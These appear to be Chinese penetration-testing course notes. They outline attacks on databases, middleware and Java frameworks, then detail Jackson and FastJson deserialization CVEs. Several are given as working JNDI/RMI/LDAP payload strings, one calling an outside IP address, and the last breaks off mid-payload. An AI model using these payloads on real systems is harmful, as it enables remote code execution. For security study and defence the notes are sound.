



#知识点:

- 1、数据库-Redis-未授权 RCE&CVE
- 2、数据库-Couchdb-未授权 RCE&CVE
- 3、数据库-H2database-未授权 RCE&CVE

-
- 1、中间件-IIS-短文件&解析&蓝屏等
 - 2、中间件-Nginx-文件解析&命令执行等
 - 3、中间件-Apache-RCE&目录遍历&文件解析等
 - 4、中间件-Tomcat-弱口令&文件上传&文件包含等

-
- 1、中间件-Jetty-CVE&信息泄漏
 - 2、中间件-Jenkins-CVE&RCE 执行
 - 3、中间件-Weblogic-CVE&反序列化&RCE
 - 4、应用 WPS-HW2023-RCE&复现&上线 CS

-
- 1、PHP-框架安全-Thinkphp&Laravel
 - 2、J2EE-框架安全-SpringBoot&Struts2

-
- 1、J2EE-组件安全-Solr-全文搜索
 - 2、J2EE-组件安全-Shiro-身份验证
 - 3、J2EE-组件安全-Log4J-日志记录

-
- 1、J2EE-组件 Jackson-本地 demo&CVE
 - 2、J2EE-组件 FastJson-本地 demo&CVE
 - 3、J2EE-组件 XStream-本地 demo&CVE

#章节点:

- 1、目标判断-端口扫描&组合判断&信息来源
- 2、安全问题-配置不当&CVE 漏洞&弱口令爆破
- 3、复现对象-数据库&中间件&开发框架&应用协议
- 4、HW 复现-近几年新洞-除上述外的对象各种应用

#常见语言开发框架:

PHP: Thinkphp Laravel YII CodeIgniter CakePHP Zend 等

JAVA: Spring MyBatis Hibernate Struts2 Springboot 等

Python: Django Flask Bottle Turbobars Tornado Web2py 等

Javascript: Vue.js Node.js Bootstrap JQuery Angular 等

演示案例：

- J2EE-组件 Jackson-本地 demo&CVE
 - J2EE-组件 FastJson-本地 demo&CVE
 - J2EE-组件 XStream-本地 demo&CVE
-
-

黑盒检测: Java 应用 请求参数数据以 json/xml 格式发送测试

黑盒判断: 通过提交数据报错信息得到什么组件

xml 格式(xstream) 或 json 格式(fastjson jackson)

白盒: 直接看引用组件版本

#J2EE-组件 Jackson-本地 demo&CVE

当下流行的 json 解释器, 主要负责处理 Json 的序列化和反序列化。

历史漏洞: <https://avd.aliyun.com/search?q=Jackson>

1、代码执行 (CVE-2020-8840)

2.0.0 <= FasterXML jackson-databind Version <= 2.9.10.2

String json =

```
"[\"org.apache.xbean.propertyeditor.JndiConverter\",  
{\"asText\":\"ldap://localhost:1389/Exploit\"}]\";
```

2、代码执行 (CVE-2020-35728)

FasterXML jackson-databind 2.x < 2.9.10.8

String payload =

```
"[\"com.oracle.wls.shaded.org.apache.xalan.lib.sql.JNDIConnection  
Pool\", {\"jndiPath\":\"rmi://47.94.236.117:1099/gtaafz\"}]\";
```

#J2EE-组件 FastJson-本地 demo&CVE

阿里巴巴公司开源的 json 解析器, 它可以解析 JSON 格式的字符串, 支持将 JavaBean 序列化为 JSON 字符串, 也可以从 JSON 字符串反序列化到 JavaBean。

历史漏洞: <https://avd.aliyun.com/search?q=fastjson>

利用 POC: https://github.com/kezibei/fastjson_payload

FastJson <= 1.2.24

```
String payload = \"{\\r\\n\"  
    + \"    \\\"a\\\": {\\r\\n\"  
    + \"        \\\"@type\\\":  
\\\"com.sun.rowset.JdbcRowSetImpl\\\", \\r\\n\"  
    + \"        \\\"dataSourceName\\\":  
\\\"rmi://127.0.0.1:1099/Object\\\", \\r\\n\"  
    + \"        \\\"autoCommit\\\": true\\r\\n\"  
    + \"    }\\r\\n\"  
    + \"}\";
```

FastJson <= 1.2.47

```
JSONObject jsonObject = JSON.parseObject(\"{\\n\" +  
    \"    \\\"a\\\":{\\n\" +  
    \"        \\\"@type\\\":\\\"java.lang.Class\\\",\\n\" +
```

涉及资源：

补充：[涉及录像课件资源软件包资料等下载地址](#)
